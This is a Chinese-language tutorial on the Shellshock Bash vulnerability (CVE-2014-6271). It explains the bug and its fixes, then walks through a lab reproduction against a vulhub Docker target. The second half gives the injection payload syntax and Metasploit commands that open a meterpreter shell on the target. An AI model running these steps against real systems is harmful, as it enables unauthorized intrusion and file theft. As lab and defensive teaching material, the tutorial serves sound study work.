CVE-2014-6271 是一个著名的安全漏洞,通常被称为 "Shellshock"(破壳漏洞)。这是关于 Bash(Bourne Again Shell)的一个严重安全漏洞。

一、漏洞介绍

基本信息

属性

内容

CVE编号

CVE-2014-6271

公开日期

2014年9月24日

影响组件

GNU Bash ≤ 4.3

严重程度

严重(CVSS 10.0)

别名

Shellshock、Bashdoor

漏洞原理

该漏洞存在于 Bash 处理环境变量的方式中。Bash 在解析环境变量时,会执行函数定义后的任意代码。

漏洞触发示例:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

如果输出包含 "vulnerable",则说明系统存在此漏洞。

漏洞成因

Bash 在初始化时,会解析以 () { 开头的环境变量作为函数定义。但解析器在处理完函数定义后,不会停止,而是继续执行函数定义后的代码。

正常情况下的环境变量传递:

# 合法的函数定义
my_func='() { echo "hello"; }'

恶意利用:

# 函数定义后附加恶意代码
x='() { :;}; /bin/sh -c "malicious command"'

攻击流程:

发送payload-->http请求(恶意请求头)-->中间件接受-->写入环境变量-->调用bash,运行cgi文件-->bash解析环境变量-->执行payload

影响范围

  • 操作系统:所有使用 Bash 的 Unix/Linux 系统

  • 网络服务:CGI 脚本、SSH、DHCP 客户端、Qmail 等

  • 设备:路由器、网络设备、物联网设备、Mac OS X 等

修复方案

官方补丁

Bash 官方发布了多个补丁(Patch 25-28)来修复此漏洞及相关的变种(CVE-2014-7169 等)。

临时缓解措施

  1. 升级到 Bash 4.3 Patch 25 或更高版本

  2. 使用其他 Shell(如 dash、zsh)替代 Bash

  3. 限制 CGI 脚本使用

  4. 网络层面过滤:WAF 规则拦截 () { 模式

二、完整复现

1.准备工作

攻击机:192.168.68.128(kalilinux)

目标靶机:192.168.68.134(ubuntu+docker)

来源:https://github.com/vulhub/vulhub/tree/master/bash/CVE-2014-6271

布置靶场:

我们还是先在ubuntu上进入把上面链接中的CVE-2014-6271文件夹下载到ubuntu,然后进入这个文件夹中,执行

sudo docker-compose up -d

然后服务运行监听8080端口,目录下还有两个cgi文件,safe.cgi使用的系统的bash,是安全版本,victim.cgi使用的就是存在该漏洞的版本

2.msf复现

打开kali终端

1.启动msf: msfconsole

2.search

search cve-2014-6271
CVE-2014-6271-1.png

可以看到我们需要用到的模块就是第二个,第一个是 Advantech(研华)品牌的工业网络交换机相关的

3.使用漏洞模块

use exploit/multi/http/apache_mod_cgi_bash_env_exec

4.查看需要设置的参数

show options
CVE-2014-6271-2.png

可以看到一堆参数,不要慌,我们慢慢来,首先required是yes的参数都必须设置,前四个已经自动给我们设置好了,然后lhost和lport也给我们设置好了,target就一个,我们就不用动了,timeout超时时间我们也保持默认,rhosts就填写目标靶机的ip即可,rport是8080,TARGETURI需要我们填写victim.cgi文件也就是/victim.cgi(因为在网站根目录下)

tips:因为cgi文件默认就是调用bash执行,所以必须指定。

SRVPORT可以随便写,只要端口没占用就可以,这里的SRVHOST其实也可以是0.0.0.0,但是不建议,这样子Metasploit会监听所有ip,而目标靶机如果要下载payload需要一个精准的ip,所以我们就设置成攻击机的ip,192.168.68.128

5.配置参数

set SRVHOST 192.168.68.128
set RPORT 8080
set RHOSTS 192.168.68.134
set TARGETURI /victim.cgi
CVE-2014-6271-3.png

6.执行payload

我们输入 run

可以看到连接已经建立,出现meterpreter说明我们成功了

输入shell就可以进入目标靶机的终端,我们就可以可以看看他的源码,读取文件了